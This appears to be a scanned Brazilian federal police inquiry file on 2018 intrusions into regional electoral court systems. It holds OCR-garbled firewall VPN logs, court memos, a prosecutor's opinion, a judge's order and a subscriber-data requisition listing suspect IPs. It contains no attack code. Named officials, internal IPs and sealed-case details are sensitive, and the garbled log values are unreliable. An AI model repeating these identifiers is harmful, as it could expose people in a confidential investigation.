Apr 18 03:15:28 rpbfr0t03.tre-pb.gov.br id=firewa11 sn=COEAE485B974 time="2018-
0

4-18 03:15:28"
fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39
src=20l.81.167.53:6802

dst=187.33.236. 16514500 usr="digitro"

Apr 21 03:01 :40 rpbfrot03.tre-pb.gov.br id=firewa]1 sn=COEAE485B974 time="2018-04-21
03:0l:40"fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=201.81.167.53::Xl
dst=187.33.236.165:0:X1 usr="digitro" proto=lcp sess=vpnc

Apr 21 03:01:40 rpbfrot03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 time="2018-04-21
03:01:40" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.81.167.53:6792
dsl=187.33.236.165:4500 usr="digitro"

Apr 21 05:17:04 rpbfrot03.tre-pb.gov.br id=f1rewal1 sn=COEAE485B974 time="2018-04-21
05:17:04" fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=20l .81.167.53::X1
dst=187.33.236.165:0:Xl us|=“digitro" proto=tcp scss=vpnc

Apr 21 05:17:04 rpbf'rot03.tre-pb.gov.br id=f1rcwall sn=COEAE485B974 timc="20 l 8-04-21
05:17:04" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.81.l67.53:6897
dst=} 87.33 .236. l65:4500 usr="digit1'0"

2020-00-000000217-2 Documento n° 1270536 1.-2

file:///Cu‘Userslbruce.IbmI/Downloads/|nformacao_1 270536.hlm|

Fl. 368
SR/PF/DF

2020.0043195



27! 1 1 /2020 SEI/'1'SE - 1270536 - lnformaoéo

Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewa1l sn=COEAE485B974 time="20l8-04-21
06:16:56" fiv=l8'/.33.236.165 pri=6 c=l6 gcat=5 m=237 src=201.8l.l67.53::X1
dst=187.33.236.l65:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewa11 sn=COEAE485B974 time=“20l8-04-21
06:16:56"fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.8l.l67.53:6897
dst=187.33.236.165:4500 us1="digin"o"

Apr 21 06:18:22 rpbfr0t03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 timc="20 l 8-04-21
06:18:22" fw=187.33.236.l65 pri=6 c=l6 gca1=5 m=263 src=20l.8l.l67.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc du1=15 msg="User logged out -
digitro"

Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=firewal1sn=COEAE485B974timc="2018-04-21
06:18:30" fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=201.81.l67.53::X1
dst=187.33.236.165:0:X1 usr="digitro" prot0=tcp sess=vpnc

Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=flrcwall sn=COEAE485B974 time="20 1 8-04-21
06:18:30" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.81.l67.53:6897
dst=187.33.236.165:4500 usr="digitro"

Apr 21 06:32:36 rpbfrot03.trc-pb.gov.br id=fircwal1 sn=COEAE485B974 time="20l8-04-21
O6:32:36“ fw=187.33.236.l65 pri=6 c=l6 gcat=5 m=237 src=201.8l.l67.53::X1
dst=l87.33.236.165:0:Xl us1="digitro" proto=tcp sess=vpnc

Apr 21 06:32:36 rpbfr0t03.trc-pb.gov.br id=firewal1 sn=COEAE485B974 timc="2018-04-21
06:32:36" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.81.167.53:6897
dst=187.33.236.165:4500 usx="digitro"

Apr 21 06:32:42 rpbfrot03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 time="2018-04-21
06:32:42" fw=187.33.236.l65 pri=6 c=l6 gcat=5 m=263 src=20l.81.167.53::Xl
dst=187.33.236.165:0:Xl usr="digitro" proto=tcp sess=vpnc msg="User logged out - digitro"

Apr 21 06:49:01 rpbfrot03.tre-pb.gov.brid=firewal1sn=COEAE485B974 time="2018-04-21
06:49:0l" fiv=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=201.81.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:49:24 rpbfrot03.trc-pb.gov.br id=firewa11 sn=COEAE485B974 time="20 18-04-21
06:49:24" fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=201.8l.167.53::X1
dst=l87.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:49:42 rpbfrot03.trc-pb.gov.br id=firewal1 sn=COEAE485B974 timc="20l8-04-21
06:49:42” fw=187.33.236.165 pri=6 c=l6 gcat=5 m=263 src=201.8l.l67.53::X1
dst=187.33.236.165:0:X1 usr="digitr0" pr0t0=tcp sess=vpnc du1=15 msg="User10ggcd out-
digitro"

Apr 21 06:49:42 rpbfrot03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 time="2018-04-21
06:49:42" fw=187.33.236.l65 pri=6 c=l6 gcat=5 m=263 src=201.81.167.53::X1
dst=l87.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc dur=45 msg="User logged out -
digitro“

Apr 21 06:50: 15 rpbfrol03.tre-pb.g0v.br id=firewa1l sn=COEAE485B974 time="20l8-04-21
06:50:15" fw=187.33.236.l65 pri=6 c=l6 gcat=5 m=237 src=201.8l.167.53::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc
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Apr 21 06:50:51 rpbfi-0t03.tre-pb.gov.brid=firewal1sn=COEAE485B974time="2018-04-21
06:50:51" fw=l87.33.236.l65 pri=6 c=l6 gCa1=5 m=237 src=20l.81.167.53::X1
dst=18'/.33.236.l65:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 21 06:50:52 rpbfr0t03.trc-pb.gov.br id=fircwa11 sn=COEAE485B974 timc="20l8-04-21
06:50:52" fw=l87.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.8l.167.53:6897
dst=187.33.236.165:4500 usr="digitro"

Apr 21 06:51:51 rpbfrot03.tre-pb.gov.br id=fircwall sn=COEAE485B974 timc="2018-04-21
06:51:51" fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=20l.8l.167.53::Xl
dst=187.33.236.165:0:X1 us1="digitro" proto=tcp sess=vpnc

Apr 21 06:51:51 :pbfrot03.tre-pb.g0v.brid=f1rewal1sn=COEAE485B974time="2018-04-21
06:51:51" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.8l.l67.53:6897
dst=187.33.236.165:4500 usr="digilr0"

Apr 21 08:36:42 rpbfrot03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 time="20l8-04-21
08:36:42" fw=l87.33.236.165 pri=6 c=l6 gcat=5 m=263 src=201.81.167.53::Xl
dst=187.33.236.165:0:X1 us1="digitro" proto=tcp sess=vpnc msg="User logged out — digitro"

201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59 —> portas: origem
(33283,33370), destino (4500 VPN)

Apr 18 05:24:54 rpbfr0t03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="20l8-04-18
05:24:54" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.6.l29.235::X1
dst=187.33.236.l65:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 05:24:54 rpbfrot03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 time="2018-04-18
05:24:54" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=201.6.129.235:33283
dst=187.33.236.165:4500 usr="digitro"

Apr 18 05:48:59 rpbfrot03.trc-pb.g0v.br id=fircwa11 sn=COEAE485B974 timc="20l8-04-18
05:48:59" fw=l8'/.33.236.165 pri=6 c=l6 gcat=5 m=237 src=201.6.129.235::Xl
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 05:48:59 rpbfrot03.tre-pb.gov.br id=fircwall sn=COEAE485B974 time="2018-04-18
05:48:59" fw=l87.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=20l.6.129.235:333'/0
dst=187.33.236.165:4500 usr="digitro"

E a informagéo.

MARCELO CARNEIRO RODRIGUES
cum; on s|:¢Ao

Documento assinado eletronicamente em 05/03/2020, 55 18:06, conforme art. 19, §2‘1, I11, b,
da Lei 1 1/119/2006.
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.__;_-‘l=-Q-‘Q;-z.‘f\_ acao=documento conferir&id orgao acesso externo=0&cv=1270536&crc=8070DE9D,
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TRIBUNAL SUPERIOR ELEITORAL
Informagéo COINF/STI n9 245/2020
Referéncia: Oficio 2179 PF (SE1 1304296)

Assunto:

Senhor Secretario,

lnformamos que no escopo da investigagao que trata a IPL 1361/2018-4 -
SR/PF/DF, as informagées abaixo foram remetidas por técnicos da COINF a Policia Federal
em Disco Rigido ao final do ano de 2018 e inicio do ano de 2019

- Log de acesso a VPN do TRE-PB. Enviado log completo bem como log do
usuario Digitro.
- Copia da maquina virtual do TRE-RN, que foi invadida durante o evento.
- Copia de trés maquinas do TRE-BA que foram invadidas durante o
evento de Abril.
- Relatorio do TRE-PE contendo detalhamento do evento de Abril.
- Arquivo texto contendo resumo do evento de Abril de 2018.

Adicionalmente, registramos que as informagfies requisitadas por meio do Oficio
70 (1230941), reiterado por meio do Oficio 2179[1304296) estao contidas na
Informagao SESOP/COINF/STI n9 5/2020 (1270536) e disponiveis para remessa, em
caréter Oficial, para a Policia Federal.

Registro, por fim, caracteristica do sistema SE1, 0 qual nfio possui fungfio de
"remessa" de processos sigilosos, devendo ser notificadas as unidades que porventura
deverio realizar gestao para a entrega em carater Oficial dos dados contidos na
supracitada lnformaoao.

E a informaqao.

CRISTIANO MOREIRA ANDRADE
, COORDI-INADOR(A)

15'-1}] Documento assinado eletronicamente em 23/11/2020, as 16:00, conforme art. 19, §29, III, b,
(18. Lei 11.419/Z006.
3°39-9°-99911119217-2 67 is 6 7 ‘ i i nommEiro‘n° 1505168 v5
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TRIBUNAL SUPERIOR ELEITORAL

Informagéo COINF/STI n9 249/2020
Referéncia: Despacho STI 1506843

Assunto: IPL 1361/2018-4 - SR/PF/DF

Senhor Secretério de Tecnologia da lnformagio,

Em atengéio ao Despacho GAB-SPR 1506619, informamos que os dados listados na
lnformagéo COINF/STI n9 245/2020 (1505168) vieram em discos rigidos remetidos ao TSE
pelo TRE-RN e pelo TRE-BA e tais midias foram entregues no ano de2019 é equipe sob
gestfio da Delegada Cassiana Saad.

N50 foi realizada cépia dos discos rigidos para ambiente do TSE.

Registramos ainda que, posteriormente :21 entrega dos discos rigidos citados,
Delegados da Policia Federal realizaram apresentagéo de anélise preliminar dos contefidos
existentes nas midias.

E a informaoio.

CRISTIANO MOREIRA ANDRADE
_ COORDENADORLA)

Documento assinado eletronicamente em 26/11/2020, 51$ 17:55, conforme art. 1°, §29, III, b,
da Lei 1141912006.

EAautenticidade do documento pode ser conferida em
_-.]=;1'§i,__lg_;,_ https:1/sei.tse.jus.br/sei/controlador externo.p_11p_?
*=1i.ffg-1; acao=documento conferir&id orgao acesso externo=0&cv=1S10009&crc=4A9AE813,

informando, caso néo preenchido, 0 codigo verificador 1510009 e o cédigo CRC
[3 -."-Y-1 ,;= 4-A9Al-I813.
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Número: 1065955-77.2020.4.01.3400 
 

Classe: INQUÉRITO POLICIAL 

 Órgão julgador: 12ª Vara Federal Criminal da SJDF 

 Última distribuição : 24/11/2020 

 Valor da causa: R$ 0,00 

 Processo referência: 0034686-42.2017.4.01.3400 

 Assuntos: Invasão de Dispositivo Informático 

 Segredo de justiça? SIM 

 Justiça gratuita? NÃO 

 Pedido de liminar ou antecipação de tutela? NÃO
 

Justiça Federal da 1ª Região
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PR-DF-MANIFESTAÇÃO-30174/2020

MINISTÉRIO PÚBLICO FEDERAL
PROCURADORIA DA REPÚBLICA - DISTRITO FEDERAL

 
EXCELENTÍSSIMO (A) SENHOR (A) JUIZ (A) FEDERAL DA 12ª VARA DA
SEÇÃO JUDICIÁRIA DO DISTRITO FEDERAL.
     
Autos n. 1065955-77.2020.4.01.3400
 

O MINISTÉRIO PÚBLICO FEDERAL, pelo Procurador da República
signatário, vem, perante Vossa Excelência, em atenção ao despacho retro, manifestar-se nos
seguintes termos.

Cuida-se de representação formulada pela autoridade policial, pleiteando o
compartilhamento de provas dos fatos tratados no IPL 005/2017-DICINT/DIP (que tramitou
perante a 12ª Vara Federal da Seção Judiciária do DF - Processo nº 0034686-
42.2017.4.01.3400 e perante a 7ª Vara Federal da Subseção Judiciária de São Paulo -
Processo nº 0013343-32.2017.4.03.6181), com a presente investigação.

Sustenta, em sua argumentação, que a medida se mostra deveras pertinente,
uma vez que os fatos lá tratados coincidem com a autoria dos fatos tratados no presente
inquérito (segundo apontado no Relatório de Análise de Alta Tecnologia nº 001/2020-
UTC/SRCC/CGPFAZ/DICOR/PF).

É a síntese.

Presente esse panorama, considerando o apontado nos relatórios indicados,
quais sejam, a Informação nº 002/2019- UTC/SRCC/CGPFAZ/DICOR/PF, bem como o
Relatório de Análise de Alta Tecnologia nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF,
manifesta-se o Parquet Federal pelo deferimento da medida, uma vez que com o
compartilhamento das provas nos fatos semelhantes investigados, será possível colher
elementos que demonstrem, com segurança, a materialidade dos delitos sob apuração, bem
como poderá ser delineada a autoria delitiva dos fatos deste inquérito, com maior celeridade e
eficiência. 

Dessa forma, manifesta-se o MINISTÉRIO PÚBLICO FEDERAL pelo
deferimento da representação da autoridade policial.

Ao ensejo, o MPF manifesta-se, igualmente, pela concessão de novo prazo de
90 (noventa) dias para a continuidade das investigações levadas a efeito no inquérito policial
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em apreço.

 

Brasília, 2 de dezembro de 2020.

 

MARCELO RIBEIRO DE OLIVEIRA
PROCURADOR DA REPÚBLICA
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Número: 1065955-77.2020.4.01.3400 
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Seção Judiciária do Distrito Federal

 
12ª Vara Federal Criminal da SJDF

 
 
   
 
 
PROCESSO: 1065955-77.2020.4.01.3400
 
INQUÉRITO POLICIAL (279)[Invasão de Dispositivo Informático]
 
AUTORIDADE: POLÍCIA FEDERAL NO DISTRITO FEDERAL (PROCESSOS CRIMINAIS)
 
REQUERIDO: INDETERMINADO
 
 
 
 
 

DESPACHO
 

 
 
Defiro o pedido formulado pela Autoridade Policial (IDs 383940858 e
383950374), para o fim de autorizar o compartilhamento das provas
produzidas no âmbito do inquérito policial IPL 005/2017-DICINT/DIP 
com as investigações do presente feito.
 
2. Baixem os autos ao Departamento de Polícia Federal na forma
solicitada pelo Parquet.
 
Os autos tramitarão diretamente entre Autoridade Policial e
Ministério Público Federal.
 
Cientifique-se a Polícia Federal e o Ministério Público Federal.
 
Brasília, 23 de fevereiro de 2021.
 

 
 
 
 

MARCUS VINICIUS REIS BASTOS
 

JUIZ FEDERAL
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POLÍCIA FEDERAL
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS  - GRCC/DRCOR/SR/PF/DF 

Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902  - Brasília/DF
 

Ofício nº 1705300/2021 - GRCC/DRCOR/SR/PF/DF
Brasília/DF, 20 de abril de 2021.

 
A Sua Senhoria o(a) Senhor(a)
Diretor(a) da Empresa TIM BRASIL
Av. Alexandre Gusmão, 29, Bloco C, Vila Omero Tom
Santo Andre/SP - CEP. 09.015-970
 
Assunto: Informações (solicita)
Referência: 2020.0043195-SR/PF/DF (favor mencionar na resposta)
 
  

Senhor(a) Diretor(a),

1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do Inquérito Policial em epígrafe, REQUISITAR a
Vossa Senhoria informações sobre os dados cadastrais de usuário, conforme esclarecimentos que seguem.

2- Por óbvio, e ainda mais ante a expressa previsão legal, o acesso aos dados cadastrais não estão agasalhados pelo inciso X, do
artigo 5º , da Constituição Federal, de modo que não se contrapõe ao princípio da inviolabilidade da intimidade a permissibilidade de
acesso a essas informações sem prévia autorização judicial.

3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 17-B, na Lei 9.613/98 ("Art. 17-B. A autoridade
policial e o Ministério Público terão acesso, exclusivamente, aos dados cadastrais do investigado que informam qualificação
pessoal, filiação e endereço, independentemente de autorização judicial, mantidos pela Justiça Eleitoral, pelas empresas
telefônicas, pelas instituições financeiras, pelos provedores de internet e pelas administradoras de cartão de crédito") e,
posteriormente, com o Art. 2º , §2º , da Lei 12.830/2013 ("§ 2o Durante a investigação criminal, cabe ao delegado de polícia a
requisição de perícia, informações, documentos e dados que interessem à apuração dos fatos") e art. 15, da Lei 12.850/2013 ("Art.
15. O delegado de polícia e o Ministério Público terão acesso, independentemente de autorização judicial, apenas aos dados
cadastrais do investigado que informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça
Eleitoral, empresas telefônicas, instituições financeiras, provedores de internet e administradoras de cartão de crédito"), a
Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja: qualificação pessoal, documentos e endereço,
INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, mantidos pelas empresas provedoras de serviços na internet.

DA REQUISIÇÃO

4-  Sendo assim, REQUISITO os dados cadastrais dos usuarios dos IPs: 

189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189..40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189..40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/O4/2018, as 04:08:37

Devendo a indicação dos IPs acima ser acrescida das informações de porta lógica enviadas pelo TSE, conforme item 1
supra (cópia anexa).

 

DO PRAZO PARA ATENDIMENTO
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5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, do recebimento.

DA FORMA DE ATENDIMENTO

6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta deverá ser encaminhada para o endereço eletrônico
<grcc.drcor.srdf@pf.gov.br> , devendo o original também ser encaminhado fisicamente ao signatário, no Grupo de Repressão a
Crimes Cibernéticos (GRCC) da Superintendência Regional da Polícia Federal em Brasília/DF, endereço descrito no cabeçalho do
presente ofício.

DAS COMINAÇÕES LEGAIS EM CASO DE NÃO ATENDIMENTO

7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na caracterização da prática do crime de
desobediência e/ou de sonegação de documento, sujeitando os responsáveis pela recusa indevida, às penas do artigo 21 da Lei
12.850/2013 (Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informações requisitadas pelo juiz, Ministério
Público ou Delegado de Polícia, no curso de investigação ou do processo: Pena - reclusão, de 6 (seis) meses a 2 (dois) anos, e
multa).

8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário da conta ou a terceiros poderá caracterizar o
crime previsto no parágrafo único do art. 21, da Lei 12.850/2013: "Na mesma pena incorre quem, de forma indevida, se apossa,
propala, divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, § 1o-A, do Código Penal:
"Divulgar, sem justa causa, informações sigilosas ou reservadas, assim definidas em lei, contidas ou não nos sistemas de
informações ou banco de dados da Administração Pública: Pena – detenção, de 1 (um) a 4 (quatro) anos, e multa."

Atenciosamente,

VICTOR NEVES FEITOSA CAMPOS
Delegado de Polícia Federal

Matrícula nº  16.179

 

Documento eletrônico assinado em 20/04/2021, às 11h03, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia
Federal, na forma do artigo 1º , inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser

conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador:
9652b02a2d2ac835b3322979bc3ac4269e3bc5c8
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 POLÍCIA FEDERAL
 

TERMO DE REMESSA
 

Faço a remessa dos autos com solicitação de dilação de prazo ao Ministério Público
Federal.

Documento eletrônico assinado em 20/04/2021, às 11h02, por LEONARDO BRUCE MADUREIRA LOPES, Escrivao de Policia
Federal, na forma do artigo 1º , inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser

conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador:
ffb32671e289dcf15abed9a6ffb5a8b0eed79666
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Encaminho os autos do Inquérito Policial nº 2020.0043195, solicitando dilação de
prazo para a continuidade das investigações. 
 
 
 
 
 

VICTOR NEVES FEITOSA CAMPOS 
 

Delegado de Polícia Federal
 

Classe Especial - Matrícula nº 16.179
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